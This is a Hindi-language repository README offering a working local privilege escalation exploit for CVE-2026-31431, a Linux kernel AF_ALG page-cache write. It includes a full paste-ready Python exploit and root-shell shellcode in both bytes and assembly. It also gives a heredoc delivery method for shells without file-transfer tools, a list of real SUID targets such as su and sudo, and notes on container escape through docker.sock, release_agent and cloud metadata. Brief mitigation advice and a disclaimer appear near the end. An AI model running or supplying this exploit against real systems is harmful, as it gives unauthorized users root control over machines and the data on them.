
CVE-2026-31431 कॉपी विफल — यूनिवर्सल LPE एक्सप्लॉइट। डायनामिक ELF ऑफसेट + पूर्ण-बाइनरी ओवरराइट, ctypes splice फॉलबैक के साथ Python 2/3 संगत
Linux कर्नेल पेज कैश 4-बाइट आर्बिट्रेरी राइट → लोकल प्रिविलेज एस्केलेशन
कई एक्सप्लॉइट दृष्टिकोण: डायनामिक ELF एंट्री पॉइंट ओवरराइट, पूर्ण बाइनरी रिप्लेसमेंट, ctypes splice फॉलबैक के साथ Python 3.x संगत।
CVE-2026-31431 Linux कर्नेल के AF_ALG क्रिप्टो सबसिस्टम में एक कमजोरी है। splice() + authencesn इन-प्लेस डिक्रिप्शन का दुरुपयोग करके, एक अनप्रिविलेज्ड उपयोगकर्ता कर्नेल के पेज कैश में किसी भी ऑफसेट पर 4 बाइट्स लिख सकता है — वही कैश जो सभी फ़ाइल-बैक्ड मेमोरी के लिए उपयोग होता है।
इसका मतलब है:
यह रिपॉजिटरी समान AF_ALG कॉपी-फॉल प्रिमिटिव का उपयोग करने वाले तीन टूल प्रदान करती है:
डायनामिक एंट्री पॉइंट — एंट्री पॉइंट फ़ाइल ऑफसेट (p_offset + (e_entry - p_vaddr)) की गणना करने के लिए रनटाइम पर ELF हेडर को पार्स करता है, फिर एक छोटा शेलकोड स्टब लिखता है। कोई हार्डकोडेड ऑफसेट नहीं — एक स्क्रिप्ट किसी भी x86_64 SUID बाइनरी पर वितरण या संस्करण की परवाह किए बिना काम करती है।
पूर्ण बाइनरी रिप्लेस — लक्ष्य को ऑफसेट 0 से पूर्ण पूर्व-निर्मित ELF पेलोड (zlib-संपीड़ित और स्क्रिप्ट में एम्बेडेड) के साथ ओवरराइट करता है। विशेषाधिकार प्राप्त प्रक्रियाओं (cron जॉब्स, systemd सेवाएं, kube-proxy) द्वारा निष्पादित गैर-SUID बाइनरी को लक्षित कर सकता है। Python 2 के साथ काम करता है।
कमजोरी जांचकर्ता — एक्सप्लॉइट चलाने से पहले परीक्षण करता है कि लक्ष्य सिस्टम में AF_ALG, authencesn, और algif_aead उपलब्ध हैं या नहीं।
exploit.py के लिए; Python 2 poc_compatible.py के माध्यम से समर्थित)/usr/bin/su, /usr/bin/sudo, आदि)# एक अनप्रिविलेज्ड उपयोगकर्ता के साथ एक परीक्षण कंटेनर बनाएं
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
फिर कंटेनर के अंदर testuser के रूप में:
# पहले: setuid(0) विफल हो जाता है क्योंकि वास्तविक uid 0 नहीं है
/usr/local/bin/verify
# uid=1000 euid=0
# (सामान्य रूप से बाहर निकलता है, कोई root नहीं)
# एक्सप्लॉइट चलाएं
python3 exploit.py /usr/local/bin/verify
# बाद में: एंट्री पॉइंट ओवरराइट हो गया, शेलकोड root प्राप्त करता है
# uid=0(root) gid=1000(testuser)
वास्तविक परिदृश्यों में आपके पास अक्सर केवल एक कच्चा शेल होता है — कोई scp नहीं, कोई curl नहीं, कोई wget नहीं। यह विधि एक्सप्लॉइट को सीधे टर्मिनल में लिखने के लिए cat heredoc का उपयोग करती है:
# विकल्प 1: शेल स्क्रिप्ट चलाएं
sh exploit-one-liner.sh /usr/local/bin/verify
# विकल्प 2: सीधे टर्मिनल में पेस्ट करें (पूरे ब्लॉक को कॉपी करें)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
यह क्यों मायने रखता है: कंटेनर वातावरण में अक्सर फ़ाइल स्थानांतरण टूल (
scp,curl,wget) की कमी होती है। heredoc विधि के लिए केवलcatऔरpython3की आवश्यकता होती है — जो हर जगह उपलब्ध हैं।
आप /usr/local/bin/verify को किसी भी SUID-root बाइनरी से बदल सकते हैं:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ चेतावनी: सिस्टम SUID बाइनरी (जैसे
/usr/bin/su) को लक्षित करना सिस्टम के सभी उपयोगकर्ताओं को प्रभावित करता है। पेज कैश साफ होने तक बाइनरी अनुपयोगी हो जाती है। होस्ट मशीन पर,suचलाने वाले किसी भी उपयोगकर्ता को root शेल मिलेगा।साझा/उत्पादन सिस्टम पर, यह तुरंत ध्यान देने योग्य है —
suक्रैश हो जाएगा या सभी के लिए अप्रत्याशित शेल उत्पन्न करेगा। सुरक्षित परीक्षण के लिएverify.cका उपयोग करें।
एक्सप्लॉइट केवल पेज कैश (मेमोरी) को संशोधित करता है, डिस्क को नहीं। पुनर्प्राप्ति विकल्प:
# होस्ट पर (कंटेनर परीक्षण के बाद):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# पुनर्प्राप्ति सत्यापित करें:
xxd -l 8 /usr/bin/su
# दिखाना चाहिए: 7f45 4c46 (.ELF)
नोट: डिफ़ॉल्ट (गैर-विशेषाधिकार प्राप्त) कंटेनर के अंदर,
echo 3 > /proc/sys/vm/drop_cachesRead-only file systemके साथ विफल हो जाता है — इसके लिए होस्ट एक्सेस या कंटेनर विनाश की आवश्यकता होती है।
कर्नेल के authencesn AEAD एल्गोरिदम में इसके इन-प्लेस डिक्रिप्शन पथ में एक बग है:
authencesn(hmac(sha256), cbc(aes)) के साथ एक AF_ALG सॉकेट बनाता हैsplice() कॉल करता है — यह पेज कैश पेज को सीधे कर्नेल के स्कैटरलिस्ट में मैप करता हैauthencesn प्रमाणीकरण टैग के बाद seqno_lo के 4 बाइट्स लिखता हैपरिणाम: किसी भी पेज-कैश्ड फ़ाइल में 4-बाइट आर्बिट्रेरी राइट।
┌─────────────────────────────────────────────────────┐
│ ELF बाइनरी (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ ELF हेडर │ e_entry = 0x4013f0 │
│ │ │ ← डायनामिक रूप से पार्स करें │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← गणना की गई फ़ाइल ऑफसेट │
│ │ मूल कोड │ │
│ │ │ ─── कॉपी फॉल राइट्स ───→ │
│ │ शेलकोड │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
जब कर्नेल SUID बाइनरी लोड करता है, यह euid=0 सेट करता है, फिर एंट्री पॉइंट पर कूदता है।
एंट्री पॉइंट अब हमारा शेलकोड है → setuid(0) सफल होता है → root शेल।
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; null टर्मिनेटर
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; फ़ाइलनाम
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 बाइट्स, 9 कॉपी-फॉल राइट्स (प्रत्येक 4 बाइट्स)।
डिफ़ॉल्ट Docker कंटेनर इससे सुरक्षित नहीं हैं:
| सुरक्षा | स्थिति |
|---|---|
| Seccomp | ✅ AF_ALG डिफ़ॉल्ट रूप से अनुमत |
| उपयोगकर्ता नेमस्पेस | ❌ डिफ़ॉल्ट Docker में उपयोग नहीं किया जाता |
| AppArmor/SELinux | ❌ AF_ALG को प्रतिबंधित नहीं करता |
| क्षमता हटाना | ❌ कोई विशेष कैप की आवश्यकता नहीं |
कंटेनर एस्केप को रोकने वाली एकमात्र चीज़ overlayfs का प्रति-माउंट पेज कैश अलगाव है। लेकिन एक बार जब आपके पास कंटेनर के अंदर root हो, तो मानक एस्केप तकनीकें लागू होती हैं (cgroup release_agent, docker.sock, K8s serviceaccount टोकन, क्लाउड मेटाडेटा)।
algif_aead इन-प्लेस रूपांतरण (लगभग 2017 में विलय) के बाद से हर Linux कर्नेल, जिसमें शामिल हैं:
.
├── exploit.py # डायनामिक ELF एंट्री पॉइंट ओवरराइट (Python 3.x)
├── exploit-one-liner.sh # पेस्ट-अनुकूल संस्करण (कोई फ़ाइल स्थानांतरण आवश्यक नहीं)
├── poc_compatible.py # ऑफसेट 0 से पूर्ण ELF बाइनरी ओवरराइट (Python 2/3, h4ppy7ree द्वारा)
├── poc_ctypes.py # Python 3.0-3.9 के लिए ctypes splice (h4ppy7ree द्वारा)
├── check_cve.sh # कमजोरी जांचकर्ता (h4ppy7ree द्वारा)
├── verify/
│ └── verify.c # परीक्षण के लिए SUID सत्यापन प्रोग्राम
└── README.md # यह फ़ाइल
AF_ALG डोमेन को ब्लॉक करें (socket(AF_ALG, ...) → errno)af_alg सॉकेट निर्माण अस्वीकार करेंCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0) syscalls का ऑडिट करेंयह एक्सप्लॉइट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक कोई दायित्व नहीं मानते हैं और इस प्रोग्राम के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।
MIT
| डायनामिक एंट्री पॉइंट | पूर्ण बाइनरी रिप्लेस | वल्न चेकर |
|---|
| फ़ाइल | exploit.py | poc_compatible.py | check_cve.sh |
| रणनीति | ELF एंट्री पॉइंट को शेलकोड से ओवरराइट करता है | ऑफसेट 0 से पूरी बाइनरी को बदलता है | परीक्षण करता है कि लक्ष्य कमजोर है या नहीं |
| लक्ष्य | कोई भी x86_64 SUID बाइनरी | कोई भी बाइनरी (SUID या नहीं) | N/A |
| Python | 3.x (सभी संस्करण) | 2 / 3 | Bash |
| पेलोड | 36 बाइट्स शेलकोड | zlib-संपीड़ित पूर्ण ELF | N/A |
| लेखक | यह कार्य | h4ppy7ree | h4ppy7ree |
| विधि | कहाँ | कमांड |
|---|
| पेज कैश ड्रॉप करें | होस्ट (root) | echo 3 > /proc/sys/vm/drop_caches |
| रीबूट | कहीं भी | reboot — पेज कैश अस्थिर है |
| कंटेनर नष्ट करें | कहीं भी | docker rm — कंटेनर के साथ पेज कैश जारी होता है |
| वेक्टर | काम करता है? | विवरण |
|---|
| LPE (स्थानीय उपयोगकर्ता → root) | ✅ हाँ | SUID बाइनरी एंट्री पॉइंट ओवरराइट करें |
| कंटेनर एस्केप (डिफ़ॉल्ट) | ❌ नहीं | overlayfs प्रति-माउंट पेज कैश अलगाव |
| कंटेनर एस्केप (होस्ट राइट) | ✅ हाँ | होस्ट से /proc/PID/root/ के माध्यम से लिखें |
| क्रॉस-कंटेनर (होस्ट राइट) | ✅ हाँ | समान inode → साझा निचली परत पेज कैश |